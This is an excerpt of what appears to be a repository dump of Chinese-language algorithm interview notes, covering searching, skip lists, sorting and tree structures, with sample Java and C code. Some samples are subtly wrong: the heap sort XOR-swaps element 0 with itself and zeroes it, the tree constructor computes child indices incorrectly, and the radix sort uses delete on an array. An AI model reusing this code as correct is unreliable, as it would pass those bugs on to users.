    "content": "# 面试题\n\n### 什么是迭代器失效？\n\n对于`vector`而言，添加和删除操作可能使容器的部分或者全部迭代器失效。那为什么迭代器会失效呢？`vector`元素在内存中是顺序存储，试想：如果当前容器中已经存在了10个元素，现在又要添加一个元素到容器中，但是内存中紧跟在这10个元素后面没有一个空闲空间，而`vector`的元素必须顺序存储一边索引访问，所以我们不能在内存中随便找个地方存储这个元素。**于是`vector`必须重新分配存储空间，用来存放原来的元素以及新添加的元素：存放在旧存储空间的元素被复制到新的存储空间里，接着插入新的元素，最后撤销旧的存储空间**。这种情况发生，一定会导致`vector`容器的所有迭代器都失效。\n\n***\n\n### 二叉树如何转换为森林？\n\n若结点x是双亲y的左孩子，则把x的右孩子，右孩子的右孩子，…，都与y用连线连起来，最后去掉所有双亲到右孩子的连线。\n\n![](images/algo_question_1.jpg)\n"
  },
  {
    "path": "docs/android/interview/basic/algo/search.md",
    "content": "# 查找算法\n\n## ASL\n\n由于查找算法的主要运算是关键字的比较，所以通常把查找过程中对关键字的平均比较次数（平均查找长度）作为衡量一个查找算法效率的标准。`ASL= ∑(n,i=1) Pi*Ci`，其中`n`为元素个数，`Pi`是查找第`i`个元素的概率，一般为`Pi=1/n`，`Ci`是找到第`i`个元素所需比较的次数。\n\n\n## 顺序查找\n\n原理是让关键字与队列中的数从最后一个开始逐个比较，直到找出与给定关键字相同的数为止，它的缺点是效率低下。**时间复杂度o(n)**。\n\n## 折半查找\n\n**折半查找要求线性表是有序表**。搜索过程从数组的中间元素开始，如果中间元素正好是要查找的元素，则搜索过程结束；如果某一特定元素大于或者小于中间元素，则在数组大于或小于中间元素的那一半中查找，而且跟开始一样从中间元素开始比较。如果在某一步骤数组为空，则代表找不到。这种搜索算法每一次比较都使搜索范围缩小一半。**折半搜索每次把搜索区域减少一半，时间复杂度为O(log n)。**\n\n- **可以借助二叉判定树求得折半查找的平均查找长度**：`log2(n+1)-1`。\n- 折半查找在失败时所需比较的关键字个数不超过判定树的深度，n个元素的判定树的深度和n个元素的完全二叉树的深度相同`log2(n)+1`。\n\n```Java\npublic int binarySearchStandard(int[] num, int target){\n    int start = 0;\n    int end = num.length - 1;\n    while(start <= end){ //注意1\n        int mid = start + ((end - start) >> 1);\n        if(num[mid] == target)\n            return mid;\n        else if(num[mid] > target){\n            end = mid - 1; //注意2\n        }\n        else{\n            start = mid + 1; //注意3\n        }\n    }\n    return -1;\n}\n```\n\n- 如果是start < end，那么当target等于num[num.length-1]时，会找不到该值。\n\n- 因为num[mid] > target, 所以如果有num[index] == target, index一定小于mid，能不能写成end = mid呢？举例来说：num = {1, 2, 5, 7, 9}; 如果写成end = mid，当循环到start = 0, end = 0时（即num[start] = 1, num[end] = 1时），mid将永远等于0，此时end也将永远等于0，陷入死循环。也就是说寻找target = -2时，程序将死循环。\n\n- 因为num[mid] < target, 所以如果有num[index] == target, index一定大于mid，能不能写成start = mid呢？举例来说：num = {1, 2, 5, 7, 9}; 如果写成start = mid，当循环到start = 3, end = 4时（即num[start] = 7, num[end] = 9时），mid将永远等于3，此时start也将永远等于3，陷入死循环。也就是说寻找target = 9时，程序将死循环。\n\n## 分块查找\n分块查找又称索引顺序查找，它是一种性能介于顺序查找和折半查找之间的查找方法。**分块查找由于只要求索引表是有序的，对块内节点没有排序要求，因此特别适合于节点动态变化的情况**。\n"
  },
  {
    "path": "docs/android/interview/basic/algo/skip_list.md",
    "content": "# 跳跃表\n\n跳跃列表是一种数据结构。它允许快速查询一个有序连续元素的数据链表。跳跃列表的平均查找和插入时间复杂度都是 `O(log n)` ，优于普通队列的 `O(n)`。\n\n快速查询是通过维护一个多层次的链表，且每一层链表中的元素是前一层链表元素的子集。一开始时，算法在最稀疏的层次进行搜索，直至需要查找的元素在该层两个相邻的元素中间。这时，算法将跳转到下一个层次，重复刚才的搜索，直到找到需要查找的元素为止。跳过的元素的方法可以是 **随机性选择** 或 **确定性选择**，其中前者更为常见。\n\n![](images/9d89be415d4f099d1eb4042af706f278.png)\n\n在查找目标元素时，从顶层列表、头元素起步。算法沿着每层链表搜索，直至找到一个大于或等于目标的元素，或者到达当前层列表末尾。如果该元素等于目标元素，则表明该元素已被找到；如果该元素大于目标元素或已到达链表末尾，则退回到当前层的上一个元素，然后转入下一层进行搜索。\n\n跳跃列表不像平衡树等数据结构那样提供对最坏情况的性能保证：由于用来建造跳跃列表采用随机选取元素进入更高层的方法，在小概率情况下会生成一个不平衡的跳跃列表（**最坏情况例如最底层仅有一个元素进入了更高层，此时跳跃列表的查找与普通列表一致**）。但是在实际中它通常工作良好，**随机化平衡方案也比平衡二叉查找树等数据结构中使用的确定性平衡方案容易实现**。跳跃列表在并行计算中也很有用：插入可以在跳跃列表不同的部分并行地进行，而不用对数据结构进行全局的重新平衡。\n\n跳跃表插入一个元素：\n\n![](images/e3ccf6537c3a42f6c6f1e8d7e26ba0ed.png)\n\n## 实现\n\n因为跳跃列表中的元素可以在多个列表中，所以每个元素可以有多于一个指针。跳跃列表的插入和删除的实现与普通的链表操作类似，但高层元素必须在进行多个链表中进行插入或删除。\n\n```java\npackage io.github.hadyang.leetcode.algo;\n\nimport lombok.Getter;\nimport lombok.Setter;\n\nimport java.util.Arrays;\nimport java.util.Random;\n\n/**\n * @author haoyang.shi\n */\npublic class SkipList<K extends Comparable<K>, V> {\n\n    @Getter\n    @Setter\n    static final class Node<K extends Comparable<K>, V> {\n        private K key;\n\n        private V value;\n\n        private Node<K, V> up, down, pre, next;\n\n        Node(K key, V value) {\n            this.key = key;\n            this.value = value;\n        }\n\n\n        @Override\n        public String toString() {\n            return \"Node{\" +\n                    \"key=\" + key +\n                    \", value=\" + value +\n                    \", hashcode=\" + hashCode() +\n                    \", up=\" + (up == null ? \"null\" : up.hashCode()) +\n                    \", down=\" + (down == null ? \"null\" : down.hashCode()) +\n                    \", pre=\" + (pre == null ? \"null\" : pre.hashCode()) +\n                    \", next=\" + (next == null ? \"null\" : next.hashCode()) +\n                    '}';\n        }\n    }\n\n    private Node<K, V> head;//k,v都是NULL\n\n    private Integer levels = 0;\n\n    private Integer length = 0;\n\n    private Random random = new Random(System.currentTimeMillis());\n\n    public SkipList() {\n        createNewLevel();\n    }\n\n    public void put(K key, V value) {\n        if (key == null || value == null) {\n            return;\n        }\n\n        Node<K, V> newNode = new Node<>(key, value);\n        insertNode(newNode);\n    }\n\n    private void insertNode(Node<K, V> newNode) {\n        Node<K, V> curNode = findNode(newNode.getKey());\n        if (curNode.getKey() == null) {\n            insertNext(curNode, newNode);\n        } else if (curNode.getKey().compareTo(newNode.getKey()) == 0) {\n            //update\n            curNode.setValue(newNode.getValue());\n            return;\n        } else {\n            insertNext(curNode, newNode);\n        }\n\n        int currentLevel = 1;\n        Node<K, V> oldTop = newNode;\n        while (random.nextInt(100) < 50) {\n            Node<K, V> newTop = new Node<>(newNode.getKey(), null);\n\n            if (currentLevel >= levels) {\n                createNewLevel();\n            }\n\n            while (curNode.getPre() != null && curNode.getUp() == null) {\n                curNode = curNode.getPre();\n            }\n\n            if (curNode.getUp() == null) {\n                continue;\n            }\n\n            curNode = curNode.getUp();\n            Node<K, V> curNodeNext = curNode.getNext();\n\n            curNode.setNext(newTop);\n            newTop.setPre(curNode);\n            newTop.setDown(oldTop);\n            oldTop.setUp(newTop);\n\n            newTop.setNext(curNodeNext);\n            oldTop = newTop;\n\n            currentLevel++;\n        }\n    }\n\n    private void createNewLevel() {\n        Node<K, V> newHead = new Node<>(null, null);\n        if (this.head == null) {\n            this.head = newHead;\n            this.levels++;\n            return;\n        }\n\n        this.head.setUp(newHead);\n        newHead.setDown(this.head);\n        this.head = newHead;\n        this.levels++;\n    }\n\n    private void insertNext(Node<K, V> curNode, Node<K, V> newNode) {\n        Node<K, V> curNodeNext = curNode.getNext();\n        newNode.setNext(curNodeNext);\n        if (curNodeNext != null) {\n            curNodeNext.setPre(newNode);\n        }\n        curNode.setNext(newNode);\n        newNode.setPre(curNode);\n\n        this.length++;\n    }\n\n    public V get(K key) {\n        Node<K, V> node = findNode(key);\n        if (key.equals(node.getKey())) {\n            return node.getValue();\n        }\n\n        return null;\n    }\n\n    private Node<K, V> findNode(K key) {\n        Node<K, V> curNode = this.head;\n\n        for (; ; ) {\n            while (curNode.getNext() != null && curNode.getNext().getKey().compareTo(key) <= 0) {\n                curNode = curNode.getNext();\n            }\n\n            if (curNode.getDown() != null) {\n                curNode = curNode.getDown();\n            } else {\n                break;\n            }\n        }\n\n        return curNode;\n    }\n\n    public void print() {\n        Node<K, V> curI = this.head;\n\n        String[][] strings = new String[levels][length + 1];\n        for (String[] string : strings) {\n            Arrays.fill(string, \"0\");\n        }\n\n        while (curI.getDown() != null) {\n            curI = curI.getDown();\n        }\n\n        System.out.println(\"levels:\" + levels + \"_\" + \"length:\" + length);\n\n        int i = 0;\n        while (curI != null) {\n            Node<K, V> curJ = curI;\n\n            int j = levels - 1;\n            while (curJ != null) {\n                strings[j][i] = String.valueOf(curJ.getKey());\n\n                if (curJ.getUp() == null) {\n                    break;\n                }\n                curJ = curJ.getUp();\n                j--;\n            }\n\n            if (curI.getNext() == null) {\n                break;\n            }\n            curI = curI.getNext();\n            i++;\n        }\n\n        for (String[] string : strings) {\n            System.out.println(Arrays.toString(string));\n        }\n    }\n\n    public static void main(String[] args) {\n\n        SkipList<Integer, String> skipList = new SkipList<>();\n\n        skipList.put(2, \"B\");\n        skipList.put(1, \"A\");\n        skipList.put(3, \"C\");\n\n        skipList.print();\n\n        System.out.println(skipList.get(2));\n\n    }\n\n}\n```\n"
  },
  {
    "path": "docs/android/interview/basic/algo/sort.md",
    "content": "# 排序算法\n\n## 常见排序算法\n\n### 稳定排序：\n\n  - `冒泡排序` — O(n²)\n  - `插入排序` — O(n²)\n  - `桶排序` — O(n); 需要 O(k) 额外空间\n  - `归并排序` — O(nlogn); 需要 O(n) 额外空间\n  - `二叉排序树排序`  — O(n log n) 期望时间; O(n²)最坏时间; 需要 O(n) 额外空间\n  - `基数排序` — O(n·k); 需要 O(n) 额外空间\n\n### 不稳定排序\n\n  - `选择排序` — O(n²)\n  - `希尔排序` — O(nlogn)\n  - `堆排序` — O(nlogn)\n  - `快速排序` — O(nlogn) 期望时间, O(n²) 最坏情况; 对于大的、乱数串行一般相信是最快的已知排序\n\n## 交换排序\n\n### 冒泡排序  \n\n它重复地走访过要排序的数列，一次比较两个元素，如果他们的顺序错误就把他们交换过来。走访数列的工作是重复地进行直到没有再需要交换，也就是说该数列已经排序完成。**冒泡排序总的平均时间复杂度为O(n^2)。冒泡排序是一种稳定排序算法。**\n  - 比较相邻的元素。如果第一个比第二个大，就交换他们两个。\n  - 对每一对相邻元素作同样的工作，从开始第一对到结尾的最后一对。在这一点，最后的元素应该会是最大的数。\n  - 针对所有的元素重复以上的步骤，除了最后一个。\n  - 持续每次对越来越少的元素重复上面的步骤，直到没有任何一对数字需要比较。\n\n```C\nvoid bubble_sort(int a[], int n)\n{\n    int i, j, temp;\n    for (j = 0; j < n - 1; j++)\n        for (i = 0; i < n - 1 - j; i++)\n        {\n            if(a[i] > a[i + 1])\n            {\n                temp = a[i];\n                a[i] = a[i + 1];\n                a[i + 1] = temp;\n            }\n        }\n}\n```\n\n### 快速排序 [快速排序-百度百科](http://baike.baidu.com/link?url=hyQPClbJy1SYY4esOZe9kANDIDxOrKxiSfq0HZl8c5eut40dZS-fd1V0jubijSv7RAogwy6HaQ-B1HbRgHf1hq)  \n\n快速排序是一种 **不稳定** 的排序算法，平均时间复杂度为 **O(nlogn)**。**快速排序使用分治法（Divide and conquer）策略来把一个序列（list）分为两个子序列（sub-lists）。** 步骤为：\n\n  - 从数列中挑出一个元素，称为\"基准\"（pivot），\n  - 重新排序数列，所有元素比基准值小的摆放在基准前面，所有元素比基准值大的摆在基准的后面（相同的数可以到任一边）。在这个分区结束之后，该基准就处于数列的中间位置。这个称为分区（partition）操作。\n  - 递归地（recursive）把小于基准值元素的子数列和大于基准值元素的子数列排序。\n\n> 快排的时间花费主要在划分上，所以\n> - 最坏情况：时间复杂度为`O(n^2)`。因为最坏情况发生在每次划分过程产生的两个区间分别包含`n-1`个元素和`1`个元素的时候。\n> - 最好情况：每次划分选取的基准都是当前无序区的中值。如果每次划分过程产生的区间大小都为n/2，则快速排序法运行就快得多了。\n\n```java\n    public void sort(int[] arr, int low, int high) {\n        int l = low;\n        int h = high;\n        int povit = arr[low];\n\n        while (l < h) {\n            while (l < h && arr[h] >= povit)\n                h--;\n            if (l < h) {\n                arr[l] = arr[h];\n                l++;\n            }\n\n            while (l < h && arr[l] <= povit)\n                l++;\n\n            if (l < h) {\n                arr[h] = arr[l];\n                h--;\n            }\n        }\n\n        arr[l] = povit;\n\n        System.out.print(\"l=\" + (l + 1) + \";h=\" + (h + 1) + \";povit=\" + povit + \"\\n\");\n        System.out.println(Arrays.toString(arr));\n        if (l - 1 > low) sort(arr, low, l - 1);\n        if (h + 1 < high) sort(arr, h + 1, high);\n    }\n```\n\n#### 快排的优化\n\n  1. 当待排序序列的长度分割到一定大小后，使用插入排序。\n  2. 快排函数在函数尾部有两次递归操作，我们可以对其使用尾递归优化。优化后，可以缩减堆栈深度，由原来的O(n)缩减为O(logn)，将会提高性能。\n  3. 从左、中、右三个数中取中间值。\n\n## 插入排序\n\n### 直接插入排序\n插入排序的基本操作就是将一个数据插入到已经排好序的有序数据中，从而得到一个新的、个数加一的有序数据，算法适用于少量数据的排序，**时间复杂度为O(n^2)。是稳定的排序方法。** **插入算法把要排序的数组分成两部分**：第一部分包含了这个数组的所有元素，但将最后一个元素除外（让数组多一个空间才有插入的位置），而第二部分就只包含这一个元素（即待插入元素）。在第一部分排序完成后，再将这个最后元素插入到已排好序的第一部分中。\n\n```C\n\nvoid insert_sort(int* a, int len) {\n    for (int i = 1; i < len; ++i) {\n        int j = i - 1;\n        int temp = a[i];\n        while (j >= 0 && temp < a[j]) {\n            a[j + 1] = a[j];\n            j--;\n        }\n        a[j + 1] = temp;\n    }\n}\n```\n\n\n### [希尔排序](https://zh.wikipedia.org/wiki/%E5%B8%8C%E5%B0%94%E6%8E%92%E5%BA%8F)\n\n也称缩小增量排序，是直接插入排序算法的一种更高效的改进版本。**希尔排序是非稳定排序算法。**\n\n希尔排序是把记录按下标的一定增量分组，对每组使用直接插入排序算法排序；随着增量逐渐减少，每组包含的关键词越来越多，当增量减至1时，整个文件恰被分成一组，算法便终止。\n\n```C\nvoid shell_sort(int* a, int len) {\n    int step = len / 2;\n    int temp;\n\n    while (step > 0) {\n        for (int i = step; i < len; ++i) {\n            temp = a[i];\n            int j = i - step;\n            while (j >= 0 && temp < a[j]) {\n                a[j + step] = a[j];\n                j -= step;\n            }\n            a[j + step] = temp;\n        }\n        step /= 2;\n    }\n}\n```\n\n## 选择排序\n\n### 直接选择排序\n首先在未排序序列中找到最小（大）元素，存放到排序序列的起始位置，然后，再从剩余未排序元素中继续寻找最小（大）元素，然后放到已排序序列的末尾。**实际适用的场合非常罕见。**\n\n```C\nvoid selection_sort(int arr[], int len) {\n\tint i, j, min, temp;\n\tfor (i = 0; i < len - 1; i++) {\n\t\tmin = i;\n\t\tfor (j = i + 1; j < len; j++)\n\t\t\tif (arr[min] > arr[j])\n\t\t\t\tmin = j;\n\t   \ttemp = arr[min];\n\t\tarr[min] = arr[i];\n\t\tarr[i] = temp;\n\t}\n}\n```\n\n### 堆排序\n\n堆排序利用了大根堆（或小根堆）堆顶记录的关键字最大（或最小）这一特征，使得在当前无序区中选取最大（或最小）关键字的记录变得简单。\n\n  1. 先将初始文件R[1..n]建成一个大根堆，此堆为初始的无序区\n  2. 再将关键字最大的记录R[1]（即堆顶）和无序区的最后一个记录R[n]交换，由此得到新的无序区R[1..n-1]和有序区R[n]，且满足R[1..n-1].keys≤R[n].key\n  3. 由于交换后新的根R[1]可能违反堆性质，故应将当前无序区R[1..n-1]调整为堆。然后再次将R[1..n-1]中关键字最大的记录R[1]和该区间的最后一个记录R[n-1]交换，由此得到新的无序区R[1..n-2]和有序区R[n-1..n]，且仍满足关系R[1..n-2].keys≤R[n-1..n].keys，同样要将R[1..n-2]调整为堆。\n  4. 直到无序区只有一个元素为止。\n\n\n```Java\nstatic void max_heap(int[] num, int start, int end) {\n    int dad = start;\n    int son = dad * 2 + 1;\n\n    while (son < end) {\n        if (son + 1 < end && num[son] < num[son + 1])\n            son++;\n\n        if (num[dad] > num[son])\n            return;\n        else {\n            num[dad] ^= num[son];\n            num[son] ^= num[dad];\n            num[dad] ^= num[son];\n\n            dad = son;\n            son = dad * 2 + 1;\n        }\n    }\n}\n\nstatic void heap_sort(int[] num) {\n    for (int i = num.length / 2 - 1; i >= 0; --i) {\n        max_heap(num, i, num.length);\n    }\n\n    for (int i = num.length - 1; i >= 0; --i) {\n        num[i] ^= num[0];\n        num[0] ^= num[i];\n        num[i] ^= num[0];\n\n        max_heap(num, 0, i);\n    }\n}\n```\n\n## 归并排序\n\n归并排序采用分治的思想：\n  - Divide：将n个元素平均划分为各含n/2个元素的子序列；\n  - Conquer：递归的解决俩个规模为n/2的子问题；\n  - Combine：合并俩个已排序的子序列。\n\n 性能：时间复杂度总是为O(NlogN)，空间复杂度也总为为O(N)，算法与初始序列无关，排序是稳定的。\n\n```C\nvoid mergeSort(int arr[], int len) {\n    int* a = arr;\n    int* b = (int*) malloc(len * sizeof(int));\n\n    for (int size = 1; size < len; size += size) {\n        for (int start = 0; start < len; start += size + size) {\n            int k = start;\n            int left = start, right = min(left + size + size, len), mid = min(left + size, len);\n\n            int start1 = left, end1 = mid;\n            int start2 = mid, end2 = right;\n\n            while (start1 < end1 && start2 < end2) {\n                b[k++] = a[start1] > a[start2] ? a[start2++] : a[start1++];\n            }\n\n            while (start1 < end1) {\n                b[k++] = a[start1++];\n            }\n            while (start2 < end2) {\n                b[k++] = a[start2++];\n            }\n        }\n        int* temp = a;\n        a = b;\n        b = temp;\n    }\n\n    if (a != arr) {\n        for (int i = 0; i < len; ++i) {\n            b[i] = a[i];\n        }\n        b = a;\n    }\n\n    free(b);\n}\n```\n\n## 基数排序\n\n对于有d个关键字时，可以分别按关键字进行排序。有俩种方法：\n  - MSD：先从高位开始进行排序，在每个关键字上，可采用基数排序\n  - LSD：先从低位开始进行排序，在每个关键字上，可采用桶排序\n\n> 即通过每个数的每位数字的大小来比较\n\n```\n//找出最大数字的位数\nint maxNum(int arr[], int len) {\n    int _max = 0;\n\n    for (int i = 0; i < len; ++i) {\n        int d = 0;\n        int a = arr[i];\n\n        while (a) {\n            a /= 10;\n            d++;\n        }\n\n        if (_max < d) {\n            _max = d;\n        }\n    }\n    return _max;\n}\n\n\nvoid radixSort(int *arr, int len) {\n    int d = maxNum(arr, len);\n    int *temp = new int[len];\n    int count[10];\n    int radix = 1;\n\n    for (int i = 0; i < d; ++i) {\n        for (int j = 0; j < 10; ++j) {\n            count[j] = 0;\n        }\n\n        for (int k = 0; k < len; ++k) {\n            count[(arr[k] / radix) % 10]++;\n        }\n\n        for (int l = 1; l < 10; ++l) {\n            count[l] += count[l - 1];\n        }\n\n        for (int m = 0; m < len; ++m) {\n            int index = (arr[m] / radix) % 10;\n            temp[count[index] - 1] = arr[m];\n            count[index]--;\n        }\n\n        for (int n = 0; n < len; ++n) {\n            arr[n] = temp[n];\n        }\n        radix *= 10;\n\n    }\n\n    delete (temp);\n}\n\n```\n\n## 拓扑排序\n\n在有向图中找拓扑序列的过程，就是拓扑排序。**拓扑序列常常用于判定图是否有环**。\n\n- 从有向图中选择一个入度为0的结点，输出它。\n- 将这个结点以及该结点出发的所有边从图中删除。\n- 重复前两步，直到没有入度为0的点。\n\n> 如果所有点都被输出，即存在一个拓扑序列，则图没有环。\n"
  },
  {
    "path": "docs/android/interview/basic/algo/tree.md",
    "content": "# 树\n\n## 二叉树\n\nL、D、R分别表示遍历左子树、访问根结点和遍历右子树\n\n  - 先序遍历：DLR\n  - 中序遍历：LDR\n  - 后序遍历：LRD\n\n> 仅有前序和后序遍历，不能确定一个二叉树，必须有中序遍历的结果\n\n### 二叉树的性质\n\n  - `性质1`：在二叉树中第 i 层的结点数最多为2^(i-1)（i ≥ 1）\n  - `性质2`：高度为k的二叉树其结点总数最多为2^k－1（ k ≥ 1）\n  - `性质3`：对任意的非空二叉树 T ，如果叶结点的个数为 n0，而其度为 2 的结点数为 n2，则：n0 = n2 + 1\n\n\n### 满二叉树\n\n深度为k，且有`2^k-1`个节点称之为`满二叉树`；\n\n  - `性质4`：第i层上的节点数为`2^(i-1)`；\n\n### 完全二叉树\n\n深度为k，有n个节点的二叉树，当且仅当其每一个节点都与深度为k的满二叉树中，序号为1至n的节点对应时，称之为`完全二叉树`。\n\n- `性质5`：对于具有n个结点的完全二叉树的高度为`log2(n)+1`\n\n求完全二叉树的叶子结点个数：\n\n![](images/tree.jpg)\n\n### 二叉树的构造\n\n```C\n//n 表示当前结点字符\nNode* tree(vector<char> data, int n) {\n\n    Node* node;\n\n    if (n >= data.size())\n        return NULL;\n    if (data[n] == '#')\n        return NULL;\n\n    node = new Node;\n    node->data = data[n];\n\n    node->left = tree(data, n + 1);\n    node->right = tree(data, n + 2);\n    return node;\n}\n```\n\n## 堆\n\n堆通常是一个可以被看做一棵树的数组对象。堆的实现通过构造二叉堆（binary heap），实为二叉树的一种；\n\n  - 任意节点小于（或大于）它的所有后裔，最小元（或最大元）在堆的根上（堆序性）。\n  - **堆总是一棵完全树**。即除了最底层，其他层的节点都被元素填满，且最底层尽可能地从左到右填入。\n\n将根节点最大的堆叫做`最大堆`或大根堆，根节点最小的堆叫做`最小堆`或小根堆。常见的堆有二叉堆、斐波那契堆等。\n\n通常堆是通过一维数组来实现的。在数组起始位置为1的情形中：\n\n  - 父节点i的左子节点在位置`(2*i)`;\n  - 父节点i的右子节点在位置`(2*i+1)`;\n  - 子节点i的父节点在位置`(i/2)`;\n\n## 霍夫曼树\n\n霍夫曼树又称最优二叉树，**是一种带权路径长度最短的二叉树**。所谓树的带权路径长度，就是树中所有的叶结点的权值乘上其到根结点的路径长度（若根结点为0层，叶结点到根结点的路径长度为叶结点的层数）。**树的路径长度是从树根到每一结点的路径长度之和**，记为WPL=（W1*L1+W2*L2+W3*L3+...+Wn*Ln），N个权值Wi（i=1,2,...n）构成一棵有N个叶结点的二叉树，相应的叶结点的路径长度为Li（i=1,2,...n）。**可以证明霍夫曼树的WPL是最小的**。\n\n### 霍夫曼树构造\n\n  1. 根据给定的n个权值`(W1,W2...Wn)`，使对应节点构成n个二叉树的森林`T=(T1,T2...Tn)`，其中每个二叉树`Ti(1 <= i <= n)`中都有一个带权值为Wi的根节点，其左、右子树均为空。\n  2. 在森林T中选取两个节点权值最小的子树，分别作为左、右子树构造一个新的二叉树，且置新的二叉树的根节点的权值为其左右子树上根节点权值之和。\n  3. 在森林T中，用新得到的二叉树替代选取的两个二叉树。\n  4. 重复2和3，直到T只包含一个树为止。这个数就是霍夫曼树。\n\n>定理：对于具有n个叶子节点的霍夫曼树，共有`2n-1`个节点。这是由于霍夫曼树只有度为0和度为2的结点，根据二叉树的性质 `n0 = n2 + 1`，因此度为2的结点个数为`n-1`个，总共有`2n-1`个节点。\n\n### 霍夫曼编码\n\n对于一个霍夫曼树，所有左链接取'0'、右链接取'1'。从树根至树叶依序记录所有字母的编码。\n\n### 带权路径\n\n  - `结点的权`：若将树中结点赋给一个有着某种含义的数值，则这个数值称为该结点的权。\n  - `结点的带权路径`：从根结点到该结点之间的路径长度与该结点的权的乘积。\n  - `树的带权路径`：所有叶子结点的带权路径长度之和，记为`WPL`。\n\n\n## 二叉排序树\n\n二叉查找树，也称二叉搜索树、有序二叉树，排序二叉树，是指一棵空树或者具有下列性质的二叉树：\n\n  - 任意节点的左子树不空，则左子树上所有结点的值均小于它的根结点的值；\n  - 任意节点的右子树不空，则右子树上所有结点的值均大于它的根结点的值；\n  - 任意节点的左、右子树也分别为二叉查找树；\n  - 没有键值相等的节点。\n\n二分查找的时间复杂度是O(log(n))，最坏情况下的时间复杂度是O(n)（相当于顺序查找）\n\n## 平衡二叉树\n\n平衡树是计算机科学中的一类改进的二叉查找树。一般的二叉查找树的查询复杂度是跟目标结点到树根的距离（即深度）有关，因此当结点的深度普遍较大时，查询的均摊复杂度会上升，为了更高效的查询，平衡树应运而生了。**平衡指所有叶子的深度趋于平衡，更广义的是指在树上所有可能查找的均摊复杂度偏低。**\n\n### [AVL树](https://zh.wikipedia.org/wiki/AVL%E6%A0%91)\n\nAVL树是最先发明的 **自平衡二叉查找树**。在AVL树中任何节点的两个子树的高度最大差别为一，所以它也被称为高度平衡树。\n\n  - 它的左子树和右子树都是平衡二叉树。\n  - 左子树和右子树的深度之差的绝对值不超过1。\n\n增加和删除可能需要通过一次或多次树旋转来重新平衡这个树。\n\n  - 右旋：左结点转到根节点位置。\n  - 左旋：右节点转到根节点位置。\n\n> 高度为`k`的AVL树，节点数N最多`2^k -1`，即满二叉树；\n\n### 红黑树\n\n红黑树是一种自平衡二叉查找树，每个节点都带有颜色属性的二叉查找树，颜色为红色或黑色。在二叉查找树强制一般要求以外，对于任何有效的红黑树我们增加了如下的额外要求：\n\n  - 节点是红色或黑色。\n  - 根是黑色。\n  - 所有叶子都是黑色（叶子是NIL节点）。\n  - 每个红色节点必须有两个黑色的子节点。（从每个叶子到根的所有路径上不能有两个连续的红色节点。）\n  - 从任一节点到其每个叶子的所有简单路径都包含相同数目的黑色节点。\n\n  >如果一条路径上的顶点除了起点和终点可以相同外，其它顶点均不相同，则称此路径为一条简单路径；起点和终点相同的简单路径称为回路（或环）。\n\n\n![](images/red_black_tree.png)\n\n>红黑树相对于AVL树来说，牺牲了部分平衡性以换取插入/删除操作时少量的旋转操作，整体来说性能要优于AVL树。\n\n这些约束确保了红黑树的关键特性：**从根到叶子的最长的可能路径不多于最短的可能路径的两倍长**。结果是这个树大致上是平衡的。因为操作比如插入、删除和查找某个值的最坏情况时间都要求与树的高度成比例，这个在高度上的理论上限 **允许红黑树在最坏情况下都是高效的**，而不同于普通的二叉查找树。\n\n在很多树数据结构的表示中，一个节点有可能只有一个子节点，而叶子节点包含数据。用这种范例表示红黑树是可能的，但是这会改变一些性质并使算法复杂。为此，本文中我们使用\"nil叶子\"或\"空（null）叶子\"，如上图所示，它不包含数据而只充当树在此结束的指示。**这些节点在绘图中经常被省略，导致了这些树好像同上述原则相矛盾，而实际上不是这样**。与此有关的结论是所有节点都有两个子节点，尽管其中的一个或两个可能是空叶子。\n\n因为每一个红黑树也是一个特化的二叉查找树，因此红黑树上的只读操作与普通二叉查找树上的只读操作相同。然而，在红黑树上进行插入操作和删除操作会导致不再符合红黑树的性质。**恢复红黑树的性质需要少量（O(log n)）的颜色变更（实际是非常快速的）和不超过三次树旋转（对于插入操作是两次）**。虽然插入和删除很复杂，但操作时间仍可以保持为O(log n)次。\n\n\n\n## B-树\n\n是一种多路搜索树（并不是二叉的）：\n\n  1. 所有叶子结点位于同一层，并且 **不带信息**。\n  2. 树中每个节点最多有m个子树(即至多含有m-1个关键字)。\n  3. 若根节点不是终端节点，则根节点子树[2,m].\n  4. 除根节点外其他非叶子节点至少有[m/2]个子树(即至少含有[m/2]-1个关键字)。\n  5. 每个非叶子节点的结构为：\n\n  | n | p0 | k1 | p1 | k2 | p2 | ... | kn | pn |\n  >n为该节点中的关键字个数，除根节点外，其他所有非叶子节点的关键字个数n：[m/2]-1 <= n <= m-1;\n\n  >ki(i <= i <=n)为该节点的关键字且满足ki < ki+1\n\n  >pi(0 <= i <=n)为该节点的孩子节点指针pi(0 <= i <=n-1)所指节点上的关键字大于等于ki且小于ki+1，pn所指节点上的关键字大于kn.\n\n>B-树的阶：所有节点的孩子节点数的最大值\n\n![](images/b-.png)\n\n### B-树的查找\n\n在B-树中的查找给定关键字的方法 **类似于二叉排序树上的查找，不同的是在每个节点上确定向下查找的路径不一定是二路的，而是n+1路的**。因为节点内的关键字序列key[1..n]有序，故既可以使用顺序查找，也可以使用二分查找。在一棵B-树上查找关键字为k的方法为：将k与根节点中的key[i]进行比较：\n  1. 若k=key[i]，则查找成功；\n  2. 若k<key[1]，则沿指针ptr[0]所指的子树继续查找；\n  3. 若key[i]<k<key[i+1]，则沿着指针ptr[i]所指的子树继续查找；\n  4. 若k>key[n]，则沿着指针ptr[n]所指的子树继续查找。\n\n### B-树的插入\n\n将关键字k插入到B-树的过程分两步完成：\n\n  1. 利用B-树的查找算法查找出该关键字的插入节点(注意B-树的插入节点一定属于最低非叶子节点层)。\n\n  2. 判断该节点是否还有空位，即判断该节点是否满足n < m-1，若满足：直接把关键字k插入到该节点合适位置上；若不满足：分裂节点，取一新节点，把原节点上的关键字和k按升序排列后，从中间位置(m/2)处把关键字(不包括中间位置的关键字)分成两部分，左部分所含关键字放在旧节点中，右部分关键字放在新节点中，中间位置的关键字连同新节点的存储位置插入到双亲节点。如果双亲节点的关键字个数也超出max则再分裂。\n\n### B-树的删除\n\n首先查找B树中需删除的元素，如果该元素在B树中存在，则将该元素在其结点中进行删除；如果删除该元素后，首先判断该元素是否有左右孩子结点，如果有，则上移孩子结点中的某相近元素到父节点中，然后是移动之后的情况；如果没有，直接删除后，然后是移动之后的情况。\n\n删除元素，移动相应元素之后，如果某结点中元素数目（即关键字数）小于Min(m/2)-1，则需要看其某相邻兄弟结点是否丰满，如果丰满，则向父节点借一个元素来满足条件；如果其相邻兄弟都刚脱贫，即借了之后其结点数目小于Min(m/2)-1，则该结点与其相邻的某一兄弟结点进行“合并”成一个结点，\n\n\n## 